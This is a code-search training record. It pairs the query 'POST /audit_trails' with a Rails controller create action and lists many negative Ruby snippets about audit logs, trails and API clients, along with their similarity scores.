[ "0.66580135", "0.6385138", "0.6385138", "0.63822293", "0.63697207", "0.6366581", "0.6263181", "0.62566763", "0.6154855", "0.6138832", "0.612162", "0.6113776", "0.60886186", "0.60850495", "0.60850495", "0.60813457", "0.5997738", "0.5952176", "0.59378254", "0.592521", "0.59197724", "0.5914187", "0.5908158", "0.57791173", "0.565923", "0.565087", "0.56411576", "0.5626686", "0.5540608", "0.5539386", "0.5535315", "0.55286443", "0.5508113", "0.54974407", "0.54938513", "0.5457612", "0.54355067", "0.5389685", "0.5389685", "0.5389685", "0.536441", "0.53454447", "0.5338475", "0.53366214", "0.53342456", "0.5326259", "0.5299211", "0.5288049", "0.52780676", "0.5273313", "0.527218", "0.5265319", "0.52622736", "0.5255322", "0.52488846", "0.5246949", "0.5243204", "0.52402633", "0.5219009", "0.5218879", "0.52096784", "0.5170579", "0.51669663", "0.5146084", "0.5139249", "0.5122673", "0.5122016", "0.5120747", "0.51174456", "0.5113835", "0.5111999", "0.5101542", "0.50955194", "0.50949806", "0.50944537", "0.5089064", "0.5081161", "0.50709254", "0.50680834", "0.5067001", "0.5066126", "0.50659686", "0.5058093", "0.50531495", "0.5049706", "0.5047973", "0.5046294", "0.50427616", "0.50415224", "0.5039498", "0.5037347", "0.5037347", "0.50320023", "0.5027809", "0.5021636", "0.5018139", "0.50180084", "0.5011995", "0.5011126", "0.50108373" ]
0.7250993
0
GET /audit_trails/1 or /audit_trails/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @audit_trails = AuditTrail.all\n end", "def list_audit_logs_for_date_range_for_tenant(args = {}) \n get(\"/tenants.json/#{args[:tenantId]}/auditlog\", args)\nend", "def audit\n render :json=>@generic_file.audit\n end", "def index\n @audits = Audit.all\n respond_with @audits\n end", "def index\n @audits = Audit.all\n end", "def index\n @audits = Audit.all\n end", "def index\n @audits = Audit.order_by({created_at: -1}).page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n end", "def show\n @audit = Audit.find(params[:id])\n respond_with @audit.as_json(:include => [:location, :fine_tunes, :auditors, :auditees, :paragraphs => {only: [:id, :name]}])\n end", "def index\n @audit_logs = AuditLog.all\n end", "def index\n @auditvs = Auditv.all.page(params[:page]).per(10)\n end", "def index\n @user_audits = UserAudit.all\n end", "def audit\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :user\n @audits = Audit.paginate(:page => params[:page],:per_page => 60, :order => 'created_at DESC', :conditions => [\"patient=?\", params[:wedgetail]])\n end", "def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end", "def api_audit\n # authorize! :api_audit, Vehicle.new\n vehicle = Vehicle.find_by_id(params[:id])\n # filter params\n days = params[:days] || \"21\"\n type = params[:type] || \"\"\n # aquacadets\n gon.notes = []\n if vehicle.present?\n gon.notes = vehicle.api_audit_notes\n .note_of_sub_type(type)\n .past_x_days(days)\n .reverse\n gon.parameters = { \"days\" => days, \"type\" => type }\n # Only needed on first load\n if request.format.html?\n gon.path = \"/vehicles/#{vehicle.id}/api-audit\"\n gon.recordName = vehicle.make_model_description\n gon.uid = vehicle.lot_num\n end\n end\n\n respond_to do |format|\n format.html { render \"shared/api_audit.html.erb\" }\n format.json { render json: { notes: gon.notes.as_json, parameters: gon.parameters } }\n end\n end", "def get_audit_log_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_all_using_get ...'\n end\n # resource path\n local_var_path = '/audit_log'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'end_date'] = opts[:'end_date'] if !opts[:'end_date'].nil?\n query_params[:'event'] = opts[:'event'] if !opts[:'event'].nil?\n query_params[:'integration_type'] = opts[:'integration_type'] if !opts[:'integration_type'].nil?\n query_params[:'is_request'] = opts[:'is_request'] if !opts[:'is_request'].nil?\n query_params[:'nucleus_client_id'] = opts[:'nucleus_client_id'] if !opts[:'nucleus_client_id'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'request_type'] = opts[:'request_type'] if !opts[:'request_type'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'start_date'] = opts[:'start_date'] if !opts[:'start_date'].nil?\n query_params[:'vendor_name'] = opts[:'vendor_name'] if !opts[:'vendor_name'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Pageobject')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @audit = current_user.audits.find(params[:id])\n @findings= @audit.findings.paginate(:page => params[:page], :per_page => 7).order('id DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @audit }\n \n end\n end", "def get_trails_by_id(params = {})\n request_by_ids(\"get-trails-by-id\", params)\n end", "def list_trails()\r\n resp = @cloudtrail.describe_trails({})\r\n \r\n puts\r\n puts \"Found #{resp.trail_list.count} trail(s):\"\r\n puts\r\n \r\n resp.trail_list.each do |trail|\r\n puts \"Name: #{trail.name}\"\r\n puts \"Amazon S3 bucket name: #{trail.s3_bucket_name}\" \r\n puts\r\n end\r\n\r\n # Uncomment the following line to print all available information.\r\n # puts resp\r\n end", "def show\n @audit_log = AuditLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @audit_log }\n end\n end", "def get_audit_log_entries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_entries ...'\n end\n # resource path\n local_var_path = '/auditlog'\n\n # query parameters\n query_params = {}\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'q'] = opts[:'q'] if !opts[:'q'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'spec'] = opts[:'spec'] if !opts[:'spec'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditLogEntries')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_entries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def list(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'list', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def audit\n conf['dashboard']['audit']\n end", "def show\n @distribution_audit = DistributionAudit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @distribution_audit }\n end\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def index\n getProfile\n @availabilities = @therapist.get_availabilities\n @rec_Availabilities = @therapist.get_recuring_availabilities(2000,1)\n respond_to do |format|\n format.html { redirect_to availabitity_index, notice: \"Appointment declined.\"}\n format.json { render :status => 200, :json => { action: :index,\n availabilities: @availabilities,\n rec_availabilities: @rec_Availabilities,\n user: @user, therapist: @therapist}}\n end\n end", "def index\n # limit all queries\n @audits = query_limit_all(AUDIT, :login, :message).reverse\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @audits }\n end\n end", "def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end", "def set_labtech_audit\n @labtech_audit = LabtechAudit.find(params[:id])\n end", "def download_audit_trail(signature_id, document_id)\n request :get, \"/v3/signatures/#{signature_id}/documents/#{document_id}/download/audit_trail\", {}, false\n end", "def fetch_audit_log\n assert_privileges(\"fetch_audit_log\")\n disable_client_cache\n send_data(fetch_local_log(\"audit\"), :filename => \"audit.log\")\n AuditEvent.success(:userid => session[:userid],\n :event => \"download_audit_log\",\n :message => \"Audit log downloaded\")\n end", "def index\n @labtech_audits = LabtechAudit.all.order(:technician, :date)\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit_trail\n @audit_trail = AuditTrail.find(params[:id])\n end", "def audits(type, object_id, file_id)\n response = @client.get(\"editor/#{type}/#{object_id}/audits/#{file_id}\")\n verify response,\n forbidden: 'You do not have permission to export the audit file',\n not_found: 'Audit file does not exist',\n internal_server_error: 'Internal server error occurred.'\n end", "def index\n @trails = Trail.all\n end", "def create\n @audit = Audit.new(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @audit, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @audit }\n else\n format.html { render :new }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @tap_log_record = current_account.tap_log_records.find(params[:id])\n authorize! :view, @tap_log_record\n @current_activity = @tap_log_record.current_activity\n @during_this = @tap_log_record.during_this\n @previous_activity = @tap_log_record.previous.activity.first\n @previous_entry = @tap_log_record.previous.first\n @next_activity = @tap_log_record.next.activity.first\n @next_entry = @tap_log_record.next.first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tap_log_record }\n end\n end", "def create\n @audit_trail = AuditTrail.new(audit_trail_params)\n\n respond_to do |format|\n if @audit_trail.save\n format.html { redirect_to @audit_trail, notice: \"Audit trail was successfully created.\" }\n format.json { render :show, status: :created, location: @audit_trail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @audit_trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def vitals\n raise UserNotAuthenticated unless access_token\n\n get('records/vitals')\n end", "def index\n @user = current_user;\n @toeic_logs = ToeicLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @toeic_logs }\n end\n end", "def get_page_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogsApi.get_page ...'\n end\n # resource path\n local_var_path = '/cms/v3/audit-logs/'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'objectId'] = @api_client.build_collection_param(opts[:'object_id'], :multi) if !opts[:'object_id'].nil?\n query_params[:'userId'] = @api_client.build_collection_param(opts[:'user_id'], :multi) if !opts[:'user_id'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'sort'] = @api_client.build_collection_param(opts[:'sort'], :multi) if !opts[:'sort'].nil?\n query_params[:'eventType'] = @api_client.build_collection_param(opts[:'event_type'], :multi) if !opts[:'event_type'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'objectType'] = @api_client.build_collection_param(opts[:'object_type'], :multi) if !opts[:'object_type'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', '*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CollectionResponsePublicAuditLog'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['hapikey', 'oauth2']\n\n new_options = opts.merge(\n :operation => :\"AuditLogsApi.get_page\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogsApi#get_page\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def audit\n identifier(audit_db)\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def account_history\n get('account/history')\n end", "def index\n if params[:document_id]\n @document = Document.find(params[:document_id])\n @project = @document.project \n @audits = Audit.where('document_id = ?', params[:document_id]) \n elsif @project.present?\n @audits = @project.audits\n end\n\n if params[:user_id]\n @audits = @audits.where(\"user_id = ?\", params[:user_id])\n @user = User.find(params[:user_id])\n end\n\n semantic_breadcrumb @project.name\n semantic_breadcrumb \"Audits\"\n @audits = @audits.order(sort_column + \" \" + sort_direction)\n @audits = @audits.page(params[:page])\n end", "def report\n @audits = Audit.all\n end", "def show_audit(tiers_id)\n path = Audits::TiersAuditor.new(tiers_id).audit_path\n J2R.open_file_command(path)\n end", "def index\n trail_api_request\n @trails = Trail.order(:city).order(:name)\n end", "def index\n @audits_not_started = current_user.audits.where('start_date > ?',Time.now) \n @audits= current_user.audits.paginate(:page => params[:page], :per_page => 3).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n\n end", "def get_audit_log_all_using_get(opts = {})\n data, _status_code, _headers = get_audit_log_all_using_get_with_http_info(opts)\n data\n end", "def attendance_result\n history_id = params[\"history_id\"]\n Net::HTTP.get(URI.parse(\"#{ENV['PY_SERVER_URL']}/image_matching/history/#{history_id}\"))\n history_student = HistoryStudent.where(history_id: history_id)\n render json: history_student\n end", "def show\n semantic_breadcrumb @project.name\n semantic_breadcrumb \"Audits\", project_audits_path(@project)\n semantic_breadcrumb \"#{@audit.id}\"\n\n end", "def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit }\n else\n format.html { render :edit }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n current_admin_user\n @tablets = Tablet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tablets }\n end\n end", "def set_audit_log\n @audit_log = AuditLog.find(params[:id])\n end", "def set_account\n @audits = Audit.find(params[:id])\n end", "def index\n @traffics = Traffic.find(:all, :order => \"created_at\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traffics }\n end\n end", "def audit verb = nil, data = nil\n extras = nil\n\n if verb\n extras = { verb: verb }\n extras[:data] = data if data\n end\n\n account = App::Context.current.account\n user = App::Context.current.user\n pk = self.class.primary_key\n delta = changes.except pk, *EXCLUSIONS if persisted?\n\n # Fail fast: If there's a delta, it's empty, and there are no\n # extras to be merged, there's no need to audit. Have to check\n # delta presence and contents separately because a `nil` delta\n # is a delete.\n\n return if delta and delta.empty? and not extras\n\n data = {\n account: account && account.id,\n at: Time.now.to_f,\n target: id,\n user: user && user.id\n }\n\n # If the delta exists, check it for anything sensitive that\n # needs to be redacted and then add it to the audit data.\n\n unless delta.empty?\n REDACTED.each do |k|\n delta[k] = [\"REDACTED\", \"REDACTED\"] if delta.include? k\n end\n\n data[:delta] = delta\n end\n\n data.merge! extras if extras\n App::Jobs::Mongo.enqueue \"audits.#{self.class.name}\", data\n\n nil\n end", "def show\n\t\tcreate_audit __method__, 'vehicle', @vehicle.id\n\tend", "def last_audit\n audits.last\n end", "def last_audit\n audits.last\n end", "def get_audit_app_with_http_info(audit_application_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AuditApi.get_audit_app ...\"\n end\n # verify the required parameter 'audit_application_id' is set\n fail ArgumentError, \"Missing the required parameter 'audit_application_id' when calling AuditApi.get_audit_app\" if audit_application_id.nil?\n # resource path\n local_var_path = \"/audit-applications/{auditApplicationId}\".sub('{format}','json').sub('{' + 'auditApplicationId' + '}', audit_application_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'fields'] = @api_client.build_collection_param(opts[:'fields'], :csv) if !opts[:'fields'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['basicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditApp')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditApi#get_audit_app\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n sort = params[:sort] || 'title'\n @user_templates = UserTemplate.find(:all, :order=>sort)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_templates }\n end\n add_audit_trail(:details => \"Viewed template listing.\")\n end", "def index\n @settlement_histories = Settlement::History.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @settlement_histories }\n end\n end", "def audit_params\n params.require(:audit).permit(:detail_id, :account_id, :end_time, :description)\n end", "def show\n @user_template = UserTemplate.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_template }\n end\n add_audit_trail(:details => \"Viewed a template with alias: #{@user_template.alias}\")\n end", "def index\n r = @api.get_attendances\n response = JSON.parse(r.body)\n if r.code == 200\n @attendances = response\n else\n redirect_to login_sign_in_admin_path, alert: response['message']\n end\n # @attendances = Attendance.all\n end", "def resourceType\n 'AuditEvent'\n end", "def index\n @auditions = Audition.all\n end", "def create\n @labtech_audit = LabtechAudit.new(labtech_audit_params)\n\n respond_to do |format|\n if @labtech_audit.save\n format.html { redirect_to @labtech_audit, notice: 'Labtech audit was successfully created.' }\n format.json { render :show, status: :created, location: @labtech_audit }\n else\n format.html { render :new }\n format.json { render json: @labtech_audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_user_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_user_logs ...\"\n end\n # resource path\n local_var_path = \"/audit/logs\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_user'] = opts[:'filter_user'] if !opts[:'filter_user'].nil?\n query_params[:'filter_action_name'] = opts[:'filter_action_name'] if !opts[:'filter_action_name'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceUserActionLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_user_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @actlogs = Actlog.all\n end", "def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end", "def audit\n data = {\"changes\" => changes, \"metadata\" => audit_metadata}\n Audit::Tracking.log.record(audit_bucket, self.id, data)\n end", "def index\n @trail_users = TrailUser.all\n end", "def capa_pending_audits\n puts \"**************************\"\n puts params[:audit_id]\n puts \"***************************\" \n @capa_pending_findings = []\n @audit = Audit.find(params[:audit_id])\n @audit.findings.each do |finding|\n if finding.status_id == \"CAPA Pending\" || finding.status_id == \"\"\n @capa_pending_findings << finding\n end\n end\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @capa_pending_findings.to_json }\n end \n puts \"*****@capa_pending_findings*************#{@capa_pending_findings.inspect}\"\n end", "def index\n @deployment_logs = DeploymentLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deployment_logs }\n end\n end", "def index\n @interaction_logs = InteractionLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @interaction_logs }\n end\n end", "def download_email_audit_trail(email_id, certificate_id)\n request :get, \"/v3/emails/#{email_id}/certificates/#{certificate_id}/download/audit_trail\", {}, false\n end", "def index\n @attendance_histories = AttendanceHistory.all\n end", "def index\n @hour_logs = HourLog.all\n render json: @hour_logs, status: 200\n end", "def set_user_audit\n @user_audit = UserAudit.find(params[:id])\n end", "def index\n getProfile\n @consents = TherapistConsent.where('therapist_id = ? ', @therapist.id)\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render :status => 200, :json => { action: 'index', consents: @consents }}\n end\n end", "def audit_911\n self.arguments = {}\n self.action = :audit911\n self.response = VoipApi.account.request(self.action, self.klass, self.arguments)\n self\n end", "def index\n @tredit_actions = TreditAction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tredit_actions }\n end\n end", "def historical_trades(options)\n request :verified, :get, :historicalTrades, options\n end", "def applicable_audit\n user.versions.where(\"created_at <= ?\", date.end_of_day).reorder(created_at: :desc).limit(1).first\n end", "def audit_history\n return [] if id.blank?\n return Audit.where( work_id: id ).order( created_at: :desc )\n end", "def index\n @actor_auditions = ActorAudition.all\n end", "def index\n @managers = Manager.all\n @shipping_addresses = ShippingAddress.all\n @search = AuditDocument.available_for_user(current_user).search(params[:q])\n @audit_documents = @search.result.page(params[:page]).per(current_user.list_page_size)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audit_documents }\n end\n end", "def show\n @deployment_log = DeploymentLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deployment_log }\n end\n end", "def api_v11_audits_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_audits_get ...\"\n end\n \n # resource path\n path = \"/api/v11/audits\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'maxResults'] = opts[:'max_results'] if opts[:'max_results']\n query_params[:'resultOffset'] = opts[:'result_offset'] if opts[:'result_offset']\n query_params[:'startTime'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'endTime'] = opts[:'end_time'] if opts[:'end_time']\n query_params[:'query'] = opts[:'query'] if opts[:'query']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_audits_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @daily_logs = current_user.daily_logs.order(\"updated_at DESC\")\n render json: @daily_logs, each_serializer: Rest::DailyLogSerializer\n end", "def show\n @teacher_history = TeacherHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @teacher_history }\n end\n end", "def show\n @logtransfer = Logtransfer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @logtransfer }\n end\n end" ]
[ "0.7039732", "0.6517776", "0.6421505", "0.6342881", "0.6322114", "0.6322114", "0.6319611", "0.63087136", "0.6240088", "0.62063384", "0.61208993", "0.60995895", "0.6047986", "0.598885", "0.59826857", "0.59645563", "0.59282625", "0.58875096", "0.58716434", "0.5806168", "0.58021003", "0.5693874", "0.5679153", "0.5640193", "0.5639276", "0.5639276", "0.5619972", "0.5619972", "0.5619972", "0.5595993", "0.5594412", "0.55878574", "0.5585942", "0.55838186", "0.55467427", "0.5545551", "0.55108905", "0.5507356", "0.5495103", "0.5465549", "0.5446554", "0.54278654", "0.54120415", "0.54031825", "0.5387731", "0.5374532", "0.53656507", "0.5325335", "0.5325335", "0.5324652", "0.52926064", "0.52884144", "0.52865463", "0.5267609", "0.5259541", "0.5253203", "0.5249965", "0.5237127", "0.5222524", "0.5218416", "0.52165043", "0.520352", "0.51891714", "0.518495", "0.51646966", "0.5152125", "0.5152125", "0.5139737", "0.5137459", "0.51366204", "0.51330394", "0.5130374", "0.5122992", "0.51217675", "0.512002", "0.5109691", "0.5102985", "0.5094211", "0.5090819", "0.50886893", "0.5085846", "0.50845164", "0.5081316", "0.5074226", "0.5073163", "0.5072411", "0.50661254", "0.506534", "0.505916", "0.5053518", "0.50496733", "0.5047556", "0.5042697", "0.50366557", "0.5029115", "0.5024824", "0.5020605", "0.50185585", "0.5015468", "0.5011025", "0.50097436" ]
0.0
-1
POST /audit_trails or /audit_trails.json
def create @audit_trail = AuditTrail.new(audit_trail_params) respond_to do |format| if @audit_trail.save format.html { redirect_to @audit_trail, notice: "Audit trail was successfully created." } format.json { render :show, status: :created, location: @audit_trail } else format.html { render :new, status: :unprocessable_entity } format.json { render json: @audit_trail.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @audit = Audit.new(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @audit, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @audit }\n else\n format.html { render :new }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @audit_trails = AuditTrail.all\n end", "def create\n @audit_log = AuditLog.new(audit_log_params)\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully created.' }\n format.json { render :show, status: :created, location: @audit_log }\n else\n format.html { render :new }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @labtech_audit = LabtechAudit.new(labtech_audit_params)\n\n respond_to do |format|\n if @labtech_audit.save\n format.html { redirect_to @labtech_audit, notice: 'Labtech audit was successfully created.' }\n format.json { render :show, status: :created, location: @labtech_audit }\n else\n format.html { render :new }\n format.json { render json: @labtech_audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_audit_log\n if (@audit_log && @audit_log.auditable)\n if [\"update\",\"destroy\"].include?(action_name)\n update_and_destroy_audit\n elsif action_name == \"create\"\n create_audit\n end \n end\n end", "def audit_params\n params.require(:audit).permit(:detail_id, :account_id, :end_time, :description)\n end", "def audit\n render :json=>@generic_file.audit\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: 